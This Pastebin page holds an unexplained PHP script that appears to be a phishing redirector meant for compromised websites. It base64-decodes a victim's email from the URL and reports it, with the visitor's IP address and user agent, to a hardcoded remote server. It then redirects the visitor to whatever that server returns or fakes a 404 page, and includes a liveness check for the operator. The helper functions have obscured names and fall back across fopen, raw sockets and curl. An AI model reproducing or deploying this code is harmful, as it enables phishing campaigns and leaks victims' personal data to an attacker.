Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- if (isset($_POST['test_a']) && isset($_POST['test_b']))
- {
- echo $_POST['test_a'] * $_POST['test_b'];
- exit;
- }
- error_reporting(0);
- $qs = urldecode($_SERVER['QUERY_STRING']);
- $double = 0;
- $email = @base64_decode($qs);
- if (strpos($email,'@')===false)
- {
- $email = @base64_decode($email);
- $double = 1;
- }
- $email = urlencode($email);
- if (!empty($_SERVER["HTTP_CF_CONNECTING_IP"]))
- {
- $ip = $_SERVER["HTTP_CF_CONNECTING_IP"];
- }
- else
- {
- $ip = isset($_SERVER['REMOTE_ADDR']) ? $_SERVER['REMOTE_ADDR'] : '';
- }
- $ua = !empty($_SERVER['HTTP_USER_AGENT']) ? urlencode($_SERVER['HTTP_USER_AGENT']) : '';
- $url = jk____("http://194.28.112.156/corpsbase/priemnik2.php?ip=$ip&email=$email&dbl=$double&ua=$ua");
- if(!$double && !empty($url)) {
- header('Location: ' . $url);
- } else {
- header('HTTP/1.1 404 Not Found');
- }
- function jk_($url)
- {
- $ctx = stream_context_create(array('http'=> array('timeout' => 5 )));
- return file_get_contents($url,false,$ctx);
- }
- function jk__( $sock,$host, $path, $query )
- {
- $response = '';
- fputs($sock, "GET " . $path . "?" . $query . " HTTP/1.0\r\n" .
- "Host: $host\r\n" .
- "Accept: */*\r\n" .
- "Referer: http://$host\r\n\r\n");
- while ( $line = fread( $sock, 4096 ) )
- {
- $response .= $line;
- }
- fclose( $sock );
- $pos = strpos($response, "\r\n\r\n");
- $response = substr($response, $pos + 4);
- return $response;
- }
- function jk___($url)
- {
- $ch = curl_init($url);
- curl_setopt($ch, CURLOPT_HEADER, FALSE);
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
- curl_setopt($ch, CURLOPT_TIMEOUT, 5);
- $result = curl_exec($ch);
- curl_close($ch);
- return $result;
- }
- function jk____($url)
- {
- if( ini_get("allow_url_fopen") == 1)
- {
- return jk_($url);
- }
- else
- {
- $url_1 = parse_url($url);
- if($sock = @fsockopen($url_1['host'], 80,$errno, $errstr,5))
- {
- return jk__( $sock, $url_1['host'], $url_1['path'], $url_1['query'] );
- }
- elseif( @function_exists('curl_init') )
- {
- return jk___($url);
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment